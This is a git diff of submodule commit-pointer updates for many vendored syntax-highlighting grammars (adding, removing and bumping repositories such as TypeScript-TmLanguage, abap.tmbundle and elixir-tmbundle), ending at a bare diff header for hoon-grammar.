diff --git a/vendor/grammars/TypeScript-TmLanguage b/vendor/grammars/TypeScript-TmLanguage
new file mode 160000
index 0000000000..cf54fc5a03
--- /dev/null
+++ b/vendor/grammars/TypeScript-TmLanguage
@@ -0,0 +1 @@
+Subproject commit cf54fc5a03112062713540a8b7d85a4ecfd34eb3
diff --git a/vendor/grammars/VBDotNetSyntax b/vendor/grammars/VBDotNetSyntax
index 4c14dda6f7..efaa4187fe 160000
--- a/vendor/grammars/VBDotNetSyntax
+++ b/vendor/grammars/VBDotNetSyntax
@@ -1 +1 @@
-Subproject commit 4c14dda6f7e1b61cd1db71b27b3ceee77759ea80
+Subproject commit efaa4187fe75634c0f01c294c0d9624d141cd649
diff --git a/vendor/grammars/VscodeAdblockSyntax b/vendor/grammars/VscodeAdblockSyntax
new file mode 160000
index 0000000000..732a6739a0
--- /dev/null
+++ b/vendor/grammars/VscodeAdblockSyntax
@@ -0,0 +1 @@
+Subproject commit 732a6739a057e6ffef0256dd165661f7eb62b31f
diff --git a/vendor/grammars/WhileySyntaxBundle b/vendor/grammars/WhileySyntaxBundle
new file mode 160000
index 0000000000..2dd042aa33
--- /dev/null
+++ b/vendor/grammars/WhileySyntaxBundle
@@ -0,0 +1 @@
+Subproject commit 2dd042aa33069784e741bba943e8697ea358d449
diff --git a/vendor/grammars/XojoSyntaxTM b/vendor/grammars/XojoSyntaxTM
new file mode 160000
index 0000000000..3497e2443b
--- /dev/null
+++ b/vendor/grammars/XojoSyntaxTM
@@ -0,0 +1 @@
+Subproject commit 3497e2443b5763353e63a32deed727f6d710f073
diff --git a/vendor/grammars/ZenScript-tmLanguage b/vendor/grammars/ZenScript-tmLanguage
new file mode 160000
index 0000000000..5a7bcb775a
--- /dev/null
+++ b/vendor/grammars/ZenScript-tmLanguage
@@ -0,0 +1 @@
+Subproject commit 5a7bcb775a6fb37470e56f904e70d8b8b9e6b047
diff --git a/vendor/grammars/abap-cds-grammar b/vendor/grammars/abap-cds-grammar
new file mode 160000
index 0000000000..dd803e6ad2
--- /dev/null
+++ b/vendor/grammars/abap-cds-grammar
@@ -0,0 +1 @@
+Subproject commit dd803e6ad2eea202b537a87c0da0536b92f60d3e
diff --git a/vendor/grammars/abap.tmbundle b/vendor/grammars/abap.tmbundle
index e4e71dee51..a9b2efff4f 160000
--- a/vendor/grammars/abap.tmbundle
+++ b/vendor/grammars/abap.tmbundle
@@ -1 +1 @@
-Subproject commit e4e71dee51b1fe6973e11d6a617de72991be4ecb
+Subproject commit a9b2efff4f4afa469d984353384f09e4ebd24055
diff --git a/vendor/grammars/abl-tmlanguage b/vendor/grammars/abl-tmlanguage
new file mode 160000
index 0000000000..b9d03563f0
--- /dev/null
+++ b/vendor/grammars/abl-tmlanguage
@@ -0,0 +1 @@
+Subproject commit b9d03563f00aabdd1437f76584670d4f15c0367f
diff --git a/vendor/grammars/actionscript3-tmbundle b/vendor/grammars/actionscript3-tmbundle
index d24ad7dec9..bb76f18706 160000
--- a/vendor/grammars/actionscript3-tmbundle
+++ b/vendor/grammars/actionscript3-tmbundle
@@ -1 +1 @@
-Subproject commit d24ad7dec924b68fda32bf8170d12ff1e5a13e06
+Subproject commit bb76f18706fdba78ffce2dd7d32ed3d2c061ba1a
diff --git a/vendor/grammars/agda-github-syntax-highlighting b/vendor/grammars/agda-github-syntax-highlighting
new file mode 160000
index 0000000000..ba7aef428c
--- /dev/null
+++ b/vendor/grammars/agda-github-syntax-highlighting
@@ -0,0 +1 @@
+Subproject commit ba7aef428c0b900675696de17e1ee6bc9d7e684e
diff --git a/vendor/grammars/aidl-language b/vendor/grammars/aidl-language
new file mode 160000
index 0000000000..c2c0074c59
--- /dev/null
+++ b/vendor/grammars/aidl-language
@@ -0,0 +1 @@
+Subproject commit c2c0074c593954bcd27036db118aee6a13abfa20
diff --git a/vendor/grammars/android-system-tools b/vendor/grammars/android-system-tools
new file mode 160000
index 0000000000..307f6c9c0b
--- /dev/null
+++ b/vendor/grammars/android-system-tools
@@ -0,0 +1 @@
+Subproject commit 307f6c9c0b0b305d6cf72480a37a72d0f86077f1
diff --git a/vendor/grammars/antlr.tmbundle b/vendor/grammars/antlr.tmbundle
index 8cb9b53107..7f07385abb 160000
--- a/vendor/grammars/antlr.tmbundle
+++ b/vendor/grammars/antlr.tmbundle
@@ -1 +1 @@
-Subproject commit 8cb9b53107f72b7d23cec515d73b3114ae44e6e8
+Subproject commit 7f07385abbdbd716ebb5b15ad8190347554192cf
diff --git a/vendor/grammars/apex-tmLanguage b/vendor/grammars/apex-tmLanguage
new file mode 160000
index 0000000000..88b3b7175c
--- /dev/null
+++ b/vendor/grammars/apex-tmLanguage
@@ -0,0 +1 @@
+Subproject commit 88b3b7175cc0be3edf7e22cf8eecc32911740b05
diff --git a/vendor/grammars/api-blueprint-sublime-plugin b/vendor/grammars/api-blueprint-sublime-plugin
index 076ee9bd62..0a90eff10e 160000
--- a/vendor/grammars/api-blueprint-sublime-plugin
+++ b/vendor/grammars/api-blueprint-sublime-plugin
@@ -1 +1 @@
-Subproject commit 076ee9bd62d68ee07831c87f2e7c7eeec732dd0f
+Subproject commit 0a90eff10e71a8f18974410307b3b86c71afb3ed
diff --git a/vendor/grammars/applescript.tmbundle b/vendor/grammars/applescript.tmbundle
index bfb426974d..4947cad749 160000
--- a/vendor/grammars/applescript.tmbundle
+++ b/vendor/grammars/applescript.tmbundle
@@ -1 +1 @@
-Subproject commit bfb426974dd4ec9adcee4094f32a14a484b2e1f3
+Subproject commit 4947cad7494eba084c21cfe04689b4efce96700f
diff --git a/vendor/grammars/astro b/vendor/grammars/astro
new file mode 160000
index 0000000000..af5bbc5f6b
--- /dev/null
+++ b/vendor/grammars/astro
@@ -0,0 +1 @@
+Subproject commit af5bbc5f6b4f0a66113d7050a85824078ffaaeac
diff --git a/vendor/grammars/atom-editorconfig b/vendor/grammars/atom-editorconfig
new file mode 160000
index 0000000000..b5951387ac
--- /dev/null
+++ b/vendor/grammars/atom-editorconfig
@@ -0,0 +1 @@
+Subproject commit b5951387ac5e8fad7de6eec683436af1080badfa
diff --git a/vendor/grammars/atom-firestore-grammar b/vendor/grammars/atom-firestore-grammar
new file mode 160000
index 0000000000..750ec2abef
--- /dev/null
+++ b/vendor/grammars/atom-firestore-grammar
@@ -0,0 +1 @@
+Subproject commit 750ec2abef42f7061c6bcc29ed5db3b0a1f3f773
diff --git a/vendor/grammars/atom-fsharp b/vendor/grammars/atom-fsharp
deleted file mode 160000
index 4f9d5510f3..0000000000
--- a/vendor/grammars/atom-fsharp
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 4f9d5510f3b78885b5a248277c1e6f16be18bc96
diff --git a/vendor/grammars/atom-fstar b/vendor/grammars/atom-fstar
new file mode 160000
index 0000000000..05592abc84
--- /dev/null
+++ b/vendor/grammars/atom-fstar
@@ -0,0 +1 @@
+Subproject commit 05592abc84201bf1c59fc7fa000c49c781980170
diff --git a/vendor/grammars/atom-language-1c-bsl b/vendor/grammars/atom-language-1c-bsl
new file mode 160000
index 0000000000..289454b537
--- /dev/null
+++ b/vendor/grammars/atom-language-1c-bsl
@@ -0,0 +1 @@
+Subproject commit 289454b53797ddc6fe193486c5a08310c214da7e
diff --git a/vendor/grammars/atom-language-clean b/vendor/grammars/atom-language-clean
index a9b837801d..82829c50aa 160000
--- a/vendor/grammars/atom-language-clean
+++ b/vendor/grammars/atom-language-clean
@@ -1 +1 @@
-Subproject commit a9b837801d887ea072bdb52b16b5e45fe88365a8
+Subproject commit 82829c50aafb2d57423e3ec66c405e3eb9e97a02
diff --git a/vendor/grammars/atom-language-haproxy b/vendor/grammars/atom-language-haproxy
new file mode 160000
index 0000000000..c7313aca26
--- /dev/null
+++ b/vendor/grammars/atom-language-haproxy
@@ -0,0 +1 @@
+Subproject commit c7313aca269b63b3879502b3939a1c09c6182860
diff --git a/vendor/grammars/atom-language-innosetup b/vendor/grammars/atom-language-innosetup
new file mode 160000
index 0000000000..9997c32bb4
--- /dev/null
+++ b/vendor/grammars/atom-language-innosetup
@@ -0,0 +1 @@
+Subproject commit 9997c32bb49054eb0eb2bf429249590b8990f7cd
diff --git a/vendor/grammars/atom-language-julia b/vendor/grammars/atom-language-julia
new file mode 160000
index 0000000000..5790304e36
--- /dev/null
+++ b/vendor/grammars/atom-language-julia
@@ -0,0 +1 @@
+Subproject commit 5790304e36664530dae4c0ebe90e51bdd8d23d87
diff --git a/vendor/grammars/atom-language-nextflow b/vendor/grammars/atom-language-nextflow
new file mode 160000
index 0000000000..40387695d7
--- /dev/null
+++ b/vendor/grammars/atom-language-nextflow
@@ -0,0 +1 @@
+Subproject commit 40387695d768dc7c9ab7b8594cd2c925fd254e47
diff --git a/vendor/grammars/atom-language-p4 b/vendor/grammars/atom-language-p4
new file mode 160000
index 0000000000..a349af898d
--- /dev/null
+++ b/vendor/grammars/atom-language-p4
@@ -0,0 +1 @@
+Subproject commit a349af898dbe060fd548040fa352233d865aef8e
diff --git a/vendor/grammars/atom-language-perl6 b/vendor/grammars/atom-language-perl6
new file mode 160000
index 0000000000..bd341e83c1
--- /dev/null
+++ b/vendor/grammars/atom-language-perl6
@@ -0,0 +1 @@
+Subproject commit bd341e83c14a69b68cb304fb6931abed8473b05a
diff --git a/vendor/grammars/atom-language-purescript b/vendor/grammars/atom-language-purescript
index 83d188103f..b5c439559b 160000
--- a/vendor/grammars/atom-language-purescript
+++ b/vendor/grammars/atom-language-purescript
@@ -1 +1 @@
-Subproject commit 83d188103fa2544fe037e3634c26ab6bbeb85b3e
+Subproject commit b5c439559b21af03578d923ed8811cb0609d2210
diff --git a/vendor/grammars/atom-language-srt b/vendor/grammars/atom-language-srt
deleted file mode 160000
index 386b4b64ae..0000000000
--- a/vendor/grammars/atom-language-srt
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 386b4b64aee092200753fe12f6caadddc844271b
diff --git a/vendor/grammars/atom-language-stan b/vendor/grammars/atom-language-stan
index 2fa2745da7..d74b0c8056 160000
--- a/vendor/grammars/atom-language-stan
+++ b/vendor/grammars/atom-language-stan
@@ -1 +1 @@
-Subproject commit 2fa2745da7ab9de0ba42a9743d1942becb5e4c32
+Subproject commit d74b0c8056411cbaedb1910fd59aaf3e8578ad2c
diff --git a/vendor/grammars/atom-miniyaml b/vendor/grammars/atom-miniyaml
new file mode 160000
index 0000000000..e3c376e315
--- /dev/null
+++ b/vendor/grammars/atom-miniyaml
@@ -0,0 +1 @@
+Subproject commit e3c376e315ec2d66412368d86660af83bfa63586
diff --git a/vendor/grammars/atomic-dreams b/vendor/grammars/atomic-dreams
deleted file mode 160000
index 7a4fb5a692..0000000000
--- a/vendor/grammars/atomic-dreams
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 7a4fb5a692e44b82115a0fb5415333b5d12e2b99
diff --git a/vendor/grammars/avro.tmLanguage b/vendor/grammars/avro.tmLanguage
new file mode 160000
index 0000000000..480a3c747f
--- /dev/null
+++ b/vendor/grammars/avro.tmLanguage
@@ -0,0 +1 @@
+Subproject commit 480a3c747f589b212ace27c9073337b9cebc9ff3
diff --git a/vendor/grammars/awk-sublime b/vendor/grammars/awk-sublime
index 7ec7d15446..72b487a104 160000
--- a/vendor/grammars/awk-sublime
+++ b/vendor/grammars/awk-sublime
@@ -1 +1 @@
-Subproject commit 7ec7d154469c05780cfeecca8fc00fda6f9ac0e7
+Subproject commit 72b487a1046d86b8a195b38fa18802d2abe30370
diff --git a/vendor/grammars/ballerina-grammar b/vendor/grammars/ballerina-grammar
new file mode 160000
index 0000000000..42ddcc1c63
--- /dev/null
+++ b/vendor/grammars/ballerina-grammar
@@ -0,0 +1 @@
+Subproject commit 42ddcc1c63c86bdd6ba712e86bf965f5063831d3
diff --git a/vendor/grammars/berry-grammar b/vendor/grammars/berry-grammar
new file mode 160000
index 0000000000..0045b13ae7
--- /dev/null
+++ b/vendor/grammars/berry-grammar
@@ -0,0 +1 @@
+Subproject commit 0045b13ae76c4a9adbc5ea77c45a526b895e1861
diff --git a/vendor/grammars/bicep b/vendor/grammars/bicep
new file mode 160000
index 0000000000..ebc7dce749
--- /dev/null
+++ b/vendor/grammars/bicep
@@ -0,0 +1 @@
+Subproject commit ebc7dce749826cbd60d5863a115bd0ea8a0c31d4
diff --git a/vendor/grammars/bikeshed b/vendor/grammars/bikeshed
new file mode 160000
index 0000000000..880b32e72e
--- /dev/null
+++ b/vendor/grammars/bikeshed
@@ -0,0 +1 @@
+Subproject commit 880b32e72e8701c8da914a60ea5b3e0f5546780f
diff --git a/vendor/grammars/bison.tmbundle b/vendor/grammars/bison.tmbundle
deleted file mode 160000
index c6832286bd..0000000000
--- a/vendor/grammars/bison.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit c6832286bd7792bcad2e66653803217b117373c6
diff --git a/vendor/grammars/blitzmax b/vendor/grammars/blitzmax
new file mode 160000
index 0000000000..7ee210811a
--- /dev/null
+++ b/vendor/grammars/blitzmax
@@ -0,0 +1 @@
+Subproject commit 7ee210811a19436f978c272266c484bbc5e36d95
diff --git a/vendor/grammars/boo b/vendor/grammars/boo
deleted file mode 160000
index d5344462c4..0000000000
--- a/vendor/grammars/boo
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit d5344462c4209d978e5eb67a067b911c729793e8
diff --git a/vendor/grammars/boogie-vscode b/vendor/grammars/boogie-vscode
new file mode 160000
index 0000000000..e63cc7ba8b
--- /dev/null
+++ b/vendor/grammars/boogie-vscode
@@ -0,0 +1 @@
+Subproject commit e63cc7ba8b8bb29e56fd228f7f77955070d6cf25
diff --git a/vendor/grammars/bqn-vscode b/vendor/grammars/bqn-vscode
new file mode 160000
index 0000000000..6494fcafd1
--- /dev/null
+++ b/vendor/grammars/bqn-vscode
@@ -0,0 +1 @@
+Subproject commit 6494fcafd1f08e51d7afe09a466f9e7bd65bca47
diff --git a/vendor/grammars/bro-sublime b/vendor/grammars/bro-sublime
deleted file mode 160000
index 28125c911e..0000000000
--- a/vendor/grammars/bro-sublime
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 28125c911e4625f0a441d54afe1fc9cc18680601
diff --git a/vendor/grammars/browserslist-vscode b/vendor/grammars/browserslist-vscode
new file mode 160000
index 0000000000..e40e7efcb1
--- /dev/null
+++ b/vendor/grammars/browserslist-vscode
@@ -0,0 +1 @@
+Subproject commit e40e7efcb19ae08622510959cfb8a9bfc8378c91
diff --git a/vendor/grammars/c.tmbundle b/vendor/grammars/c.tmbundle
index d26c35164a..80c8e886b6 160000
--- a/vendor/grammars/c.tmbundle
+++ b/vendor/grammars/c.tmbundle
@@ -1 +1 @@
-Subproject commit d26c35164a4d496fd2c0b4ea0c1aeed64d704702
+Subproject commit 80c8e886b67227096a56aca6b92fe1587f76d603
diff --git a/vendor/grammars/cairo-tm-grammar b/vendor/grammars/cairo-tm-grammar
new file mode 160000
index 0000000000..3e34951aaf
--- /dev/null
+++ b/vendor/grammars/cairo-tm-grammar
@@ -0,0 +1 @@
+Subproject commit 3e34951aaf4307dcf1d5fea8fd466e0652efef62
diff --git a/vendor/grammars/capnproto.tmbundle b/vendor/grammars/capnproto.tmbundle
index 2f661649a3..9fab42eb8a 160000
--- a/vendor/grammars/capnproto.tmbundle
+++ b/vendor/grammars/capnproto.tmbundle
@@ -1 +1 @@
-Subproject commit 2f661649a3ac26918ffc1ce5d17762e24e9965a6
+Subproject commit 9fab42eb8a28b6138b8c11ce841efe10962b852e
diff --git a/vendor/grammars/cds-textmate-grammar b/vendor/grammars/cds-textmate-grammar
new file mode 160000
index 0000000000..d538952370
--- /dev/null
+++ b/vendor/grammars/cds-textmate-grammar
@@ -0,0 +1 @@
+Subproject commit d5389523709ba010cf1b9de78c6c0478bab31bde
diff --git a/vendor/grammars/ceylon-sublimetext b/vendor/grammars/ceylon-sublimetext
index 67ae76cfb1..0ee3154f37 160000
--- a/vendor/grammars/ceylon-sublimetext
+++ b/vendor/grammars/ceylon-sublimetext
@@ -1 +1 @@
-Subproject commit 67ae76cfb1d992f4718ac121008f5d974b370cc2
+Subproject commit 0ee3154f3795ff03050ee678a37e6b0afb899069
diff --git a/vendor/grammars/chapel-tmbundle b/vendor/grammars/chapel-tmbundle
index d6c9e926e7..f2a1430b12 160000
--- a/vendor/grammars/chapel-tmbundle
+++ b/vendor/grammars/chapel-tmbundle
@@ -1 +1 @@
-Subproject commit d6c9e926e78b4b8fd1631fc059307a87fb73d33e
+Subproject commit f2a1430b12937577875d7562e9b717b76d4d36d7
diff --git a/vendor/grammars/circom-highlighting-vscode b/vendor/grammars/circom-highlighting-vscode
new file mode 160000
index 0000000000..1e292d5457
--- /dev/null
+++ b/vendor/grammars/circom-highlighting-vscode
@@ -0,0 +1 @@
+Subproject commit 1e292d5457d9ba3a3e9832b5e4378cdd65a6cfb7
diff --git a/vendor/grammars/clarity.tmbundle b/vendor/grammars/clarity.tmbundle
new file mode 160000
index 0000000000..52508cc053
--- /dev/null
+++ b/vendor/grammars/clarity.tmbundle
@@ -0,0 +1 @@
+Subproject commit 52508cc05304780d80a5dc817fcc35c6760c5459
diff --git a/vendor/grammars/code-peggy-language b/vendor/grammars/code-peggy-language
new file mode 160000
index 0000000000..64d03aca22
--- /dev/null
+++ b/vendor/grammars/code-peggy-language
@@ -0,0 +1 @@
+Subproject commit 64d03aca228ce39383064141633a5dac6543dbde
diff --git a/vendor/grammars/common-lisp-tmlanguage b/vendor/grammars/common-lisp-tmlanguage
new file mode 160000
index 0000000000..f93657d2be
--- /dev/null
+++ b/vendor/grammars/common-lisp-tmlanguage
@@ -0,0 +1 @@
+Subproject commit f93657d2bee076f2e4e6e1be5cc3f64942ff8507
diff --git a/vendor/grammars/conllu-linguist-grammar b/vendor/grammars/conllu-linguist-grammar
new file mode 160000
index 0000000000..e9710323ce
--- /dev/null
+++ b/vendor/grammars/conllu-linguist-grammar
@@ -0,0 +1 @@
+Subproject commit e9710323ce3e41afb3723c936d65597ed8cb684e
diff --git a/vendor/grammars/creole b/vendor/grammars/creole
index cdc8adc306..26eab604ff 160000
--- a/vendor/grammars/creole
+++ b/vendor/grammars/creole
@@ -1 +1 @@
-Subproject commit cdc8adc30693b737af4d633a3cd2e50530db45c1
+Subproject commit 26eab604ff51e0ae2496ff97265f06cf47c21a81
diff --git a/vendor/grammars/cron.tmbundle b/vendor/grammars/cron.tmbundle
new file mode 160000
index 0000000000..f027bc74d9
--- /dev/null
+++ b/vendor/grammars/cron.tmbundle
@@ -0,0 +1 @@
+Subproject commit f027bc74d926b8bdc0bfaac22a419d351bf60edd
diff --git a/vendor/grammars/csharp-tmLanguage b/vendor/grammars/csharp-tmLanguage
new file mode 160000
index 0000000000..479bfb74cd
--- /dev/null
+++ b/vendor/grammars/csharp-tmLanguage
@@ -0,0 +1 @@
+Subproject commit 479bfb74cdc608288505f1604b9497d85ae35b9d
diff --git a/vendor/grammars/css.tmbundle b/vendor/grammars/css.tmbundle
deleted file mode 160000
index 94f7111c29..0000000000
--- a/vendor/grammars/css.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 94f7111c2953ac7b4cc42d313d9ad9b8701b8468
diff --git a/vendor/grammars/cucumber-tmbundle b/vendor/grammars/cucumber-tmbundle
index d515d5d302..17a4419fb5 160000
--- a/vendor/grammars/cucumber-tmbundle
+++ b/vendor/grammars/cucumber-tmbundle
@@ -1 +1 @@
-Subproject commit d515d5d302ecb2ba67065bc97eea39616b1e1a9a
+Subproject commit 17a4419fb5ea47f910d9b2fd8b29f01f68382050
diff --git a/vendor/grammars/cython b/vendor/grammars/cython
new file mode 160000
index 0000000000..43a86f0e97
--- /dev/null
+++ b/vendor/grammars/cython
@@ -0,0 +1 @@
+Subproject commit 43a86f0e97970d6ea1a01124cb0b6bcac0ce516e
diff --git a/vendor/grammars/d.tmbundle b/vendor/grammars/d.tmbundle
index e4beff2ce5..9fb354be1c 160000
--- a/vendor/grammars/d.tmbundle
+++ b/vendor/grammars/d.tmbundle
@@ -1 +1 @@
-Subproject commit e4beff2ce50afecab1438f0013977fadf89f8a39
+Subproject commit 9fb354be1c3fbb6a91f543f584d47099d338baf0
diff --git a/vendor/grammars/d2-vscode b/vendor/grammars/d2-vscode
new file mode 160000
index 0000000000..4f56e4aa24
--- /dev/null
+++ b/vendor/grammars/d2-vscode
@@ -0,0 +1 @@
+Subproject commit 4f56e4aa2434d525c96cdfc9406f4e2868811ffa
diff --git a/vendor/grammars/dart-sublime-bundle b/vendor/grammars/dart-sublime-bundle
deleted file mode 160000
index d891fb36c9..0000000000
--- a/vendor/grammars/dart-sublime-bundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit d891fb36c98ca0b111a35cba109b05a16b6c4b83
diff --git a/vendor/grammars/dart-syntax-highlight b/vendor/grammars/dart-syntax-highlight
new file mode 160000
index 0000000000..e8b053f983
--- /dev/null
+++ b/vendor/grammars/dart-syntax-highlight
@@ -0,0 +1 @@
+Subproject commit e8b053f9834cb44db0f49ac4a4567177bd943dbf
diff --git a/vendor/grammars/data-weave-tmLanguage b/vendor/grammars/data-weave-tmLanguage
new file mode 160000
index 0000000000..ff3f79a0c8
--- /dev/null
+++ b/vendor/grammars/data-weave-tmLanguage
@@ -0,0 +1 @@
+Subproject commit ff3f79a0c848a8937bdf17ef3e3e9ea4a5106bef
diff --git a/vendor/grammars/denizenscript-grammar b/vendor/grammars/denizenscript-grammar
new file mode 160000
index 0000000000..a9a9523202
--- /dev/null
+++ b/vendor/grammars/denizenscript-grammar
@@ -0,0 +1 @@
+Subproject commit a9a95232026192c0d5eb23557882f9b69a40d66e
diff --git a/vendor/grammars/diff.tmbundle b/vendor/grammars/diff.tmbundle
index 62de2cca5c..0593bb775e 160000
--- a/vendor/grammars/diff.tmbundle
+++ b/vendor/grammars/diff.tmbundle
@@ -1 +1 @@
-Subproject commit 62de2cca5cc5cfb77308fdc94d963f35e2d808d1
+Subproject commit 0593bb775eab1824af97ef2172fd38822abd97d7
diff --git a/vendor/grammars/dm-syntax b/vendor/grammars/dm-syntax
new file mode 160000
index 0000000000..a63b4388d0
--- /dev/null
+++ b/vendor/grammars/dm-syntax
@@ -0,0 +1 @@
+Subproject commit a63b4388d0df050d40f2c6c6afd85637174abbb5
diff --git a/vendor/grammars/earthfile-grammar b/vendor/grammars/earthfile-grammar
new file mode 160000
index 0000000000..3ab3ea3b51
--- /dev/null
+++ b/vendor/grammars/earthfile-grammar
@@ -0,0 +1 @@
+Subproject commit 3ab3ea3b512ce54fb71f8070c7e03926ef259c03
diff --git a/vendor/grammars/ebundles b/vendor/grammars/ebundles
deleted file mode 160000
index d9b802135a..0000000000
--- a/vendor/grammars/ebundles
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit d9b802135a533abf113c164d25b23143a47283e7
diff --git a/vendor/grammars/ecl-tmLanguage b/vendor/grammars/ecl-tmLanguage
new file mode 160000
index 0000000000..f4ee3a8721
--- /dev/null
+++ b/vendor/grammars/ecl-tmLanguage
@@ -0,0 +1 @@
+Subproject commit f4ee3a872123377ec2e3d688eae7de3e1c4273d2
diff --git a/vendor/grammars/edge-vscode b/vendor/grammars/edge-vscode
new file mode 160000
index 0000000000..90ee5daf16
--- /dev/null
+++ b/vendor/grammars/edge-vscode
@@ -0,0 +1 @@
+Subproject commit 90ee5daf16680df3a00a9f1aed0bf014087dec8b
diff --git a/vendor/grammars/edgedb-editor-plugin b/vendor/grammars/edgedb-editor-plugin
new file mode 160000
index 0000000000..1d5cb12307
--- /dev/null
+++ b/vendor/grammars/edgedb-editor-plugin
@@ -0,0 +1 @@
+Subproject commit 1d5cb1230786a3899c170fd554b184df8eca0f33
diff --git a/vendor/grammars/ejs-tmbundle b/vendor/grammars/ejs-tmbundle
index 0854026c99..5e48fff725 160000
--- a/vendor/grammars/ejs-tmbundle
+++ b/vendor/grammars/ejs-tmbundle
@@ -1 +1 @@
-Subproject commit 0854026c995c15cf7b02b6f20517258115f536d6
+Subproject commit 5e48fff7258a94a8f57b142fa38571a1f9f68c44
diff --git a/vendor/grammars/elixir-tmbundle b/vendor/grammars/elixir-tmbundle
index 6ee8051a75..f6867d6aee 160000
--- a/vendor/grammars/elixir-tmbundle
+++ b/vendor/grammars/elixir-tmbundle
@@ -1 +1 @@
-Subproject commit 6ee8051a75cd9bc7f20e08f2fde4475e95e9c67a
+Subproject commit f6867d6aee89c23a9803d958c62eef1c60170e28
diff --git a/vendor/grammars/elvish b/vendor/grammars/elvish
new file mode 160000
index 0000000000..ce19c91dee
--- /dev/null
+++ b/vendor/grammars/elvish
@@ -0,0 +1 @@
+Subproject commit ce19c91dee982d7b6413e8f2ddd4347df7a9d2db
diff --git a/vendor/grammars/erlang.tmbundle b/vendor/grammars/erlang.tmbundle
index 39c144ddb7..136b56fe1e 160000
--- a/vendor/grammars/erlang.tmbundle
+++ b/vendor/grammars/erlang.tmbundle
@@ -1 +1 @@
-Subproject commit 39c144ddb7a39bdb967c893a33fda27482beb770
+Subproject commit 136b56fe1e0f543d2b8b86ff66f524e70c621752
diff --git a/vendor/grammars/fancy-tmbundle b/vendor/grammars/fancy-tmbundle
index c9cdcd61f5..cf144f25a0 160000
--- a/vendor/grammars/fancy-tmbundle
+++ b/vendor/grammars/fancy-tmbundle
@@ -1 +1 @@
-Subproject commit c9cdcd61f52b2a20d7f4575ec5e6b17b83aa9d64
+Subproject commit cf144f25a025da5b24ea534d3b8e7444599be398
diff --git a/vendor/grammars/firrtl-syntax b/vendor/grammars/firrtl-syntax
new file mode 160000
index 0000000000..9018a8555c
--- /dev/null
+++ b/vendor/grammars/firrtl-syntax
@@ -0,0 +1 @@
+Subproject commit 9018a8555cc12fed460db7b7fde6cdc3649796bf
diff --git a/vendor/grammars/forth b/vendor/grammars/forth
new file mode 160000
index 0000000000..0cf0ec91f6
--- /dev/null
+++ b/vendor/grammars/forth
@@ -0,0 +1 @@
+Subproject commit 0cf0ec91f65717903b41ea6cd62f6cd17788f0d0
diff --git a/vendor/grammars/fortran.tmbundle b/vendor/grammars/fortran.tmbundle
index 1651ca2c7f..5f8326483b 160000
--- a/vendor/grammars/fortran.tmbundle
+++ b/vendor/grammars/fortran.tmbundle
@@ -1 +1 @@
-Subproject commit 1651ca2c7f93e9bcf3cccfa57225b07b74804e13
+Subproject commit 5f8326483b8678dca14e0412aec11dca195eb034
diff --git a/vendor/grammars/gap-tmbundle b/vendor/grammars/gap-tmbundle
index cf05fa8df1..8b090cbfbf 160000
--- a/vendor/grammars/gap-tmbundle
+++ b/vendor/grammars/gap-tmbundle
@@ -1 +1 @@
-Subproject commit cf05fa8df13f8b1f46fc07e6c17270d899a69926
+Subproject commit 8b090cbfbff2c02df21d82f92bfc2abcf755cc64
diff --git a/vendor/grammars/gdscript b/vendor/grammars/gdscript
deleted file mode 160000
index 202295c51c..0000000000
--- a/vendor/grammars/gdscript
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 202295c51c8c919d2be1da3ecbe83b140e2264e8
diff --git a/vendor/grammars/gemfile-lock-tmlanguage b/vendor/grammars/gemfile-lock-tmlanguage
new file mode 160000
index 0000000000..ce6408e07b
--- /dev/null
+++ b/vendor/grammars/gemfile-lock-tmlanguage
@@ -0,0 +1 @@
+Subproject commit ce6408e07bb035c7a86a1b0cf3d4fc0f1658de24
diff --git a/vendor/grammars/gemini-vscode b/vendor/grammars/gemini-vscode
new file mode 160000
index 0000000000..72ef757a0c
--- /dev/null
+++ b/vendor/grammars/gemini-vscode
@@ -0,0 +1 @@
+Subproject commit 72ef757a0cb5d1e7137edd97579a92588f7e54cb
diff --git a/vendor/grammars/godot-vscode-plugin b/vendor/grammars/godot-vscode-plugin
new file mode 160000
index 0000000000..d915dccba1
--- /dev/null
+++ b/vendor/grammars/godot-vscode-plugin
@@ -0,0 +1 @@
+Subproject commit d915dccba14ee1e08fdd70b2cc26d98c0647fd80
diff --git a/vendor/grammars/grace b/vendor/grammars/grace
index fa30c175f7..5a142d38b0 160000
--- a/vendor/grammars/grace
+++ b/vendor/grammars/grace
@@ -1 +1 @@
-Subproject commit fa30c175f7862fce7458284e01561e8f330993c6
+Subproject commit 5a142d38b03da55b0e816a2cece39cd7fd1d7345
diff --git a/vendor/grammars/graphiql b/vendor/grammars/graphiql
new file mode 160000
index 0000000000..76b3cc872d
--- /dev/null
+++ b/vendor/grammars/graphiql
@@ -0,0 +1 @@
+Subproject commit 76b3cc872dedd667504f58c9313a86bada7688d6
diff --git a/vendor/grammars/haskell.tmbundle b/vendor/grammars/haskell.tmbundle
deleted file mode 160000
index df3d54278a..0000000000
--- a/vendor/grammars/haskell.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit df3d54278a3ab3cfb30c37d94e06587478cc79ad
diff --git a/vendor/grammars/haxe-TmLanguage b/vendor/grammars/haxe-TmLanguage
new file mode 160000
index 0000000000..ddad8b4c6d
--- /dev/null
+++ b/vendor/grammars/haxe-TmLanguage
@@ -0,0 +1 @@
+Subproject commit ddad8b4c6d0781ac20be0481174ec1be772c5da5
diff --git a/vendor/grammars/haxe-sublime-bundle b/vendor/grammars/haxe-sublime-bundle
deleted file mode 160000
index e9559a2c53..0000000000
--- a/vendor/grammars/haxe-sublime-bundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit e9559a2c538c83d5dca09e410915834e9bdcd3cb
diff --git a/vendor/grammars/holyc.tmbundle b/vendor/grammars/holyc.tmbundle
new file mode 160000
index 0000000000..d080fd6e77
--- /dev/null
+++ b/vendor/grammars/holyc.tmbundle
@@ -0,0 +1 @@
+Subproject commit d080fd6e77a5068429a39ea09bad9f9a2bba2831
diff --git a/vendor/grammars/hoon-grammar b/vendor/grammars/hoon-grammar
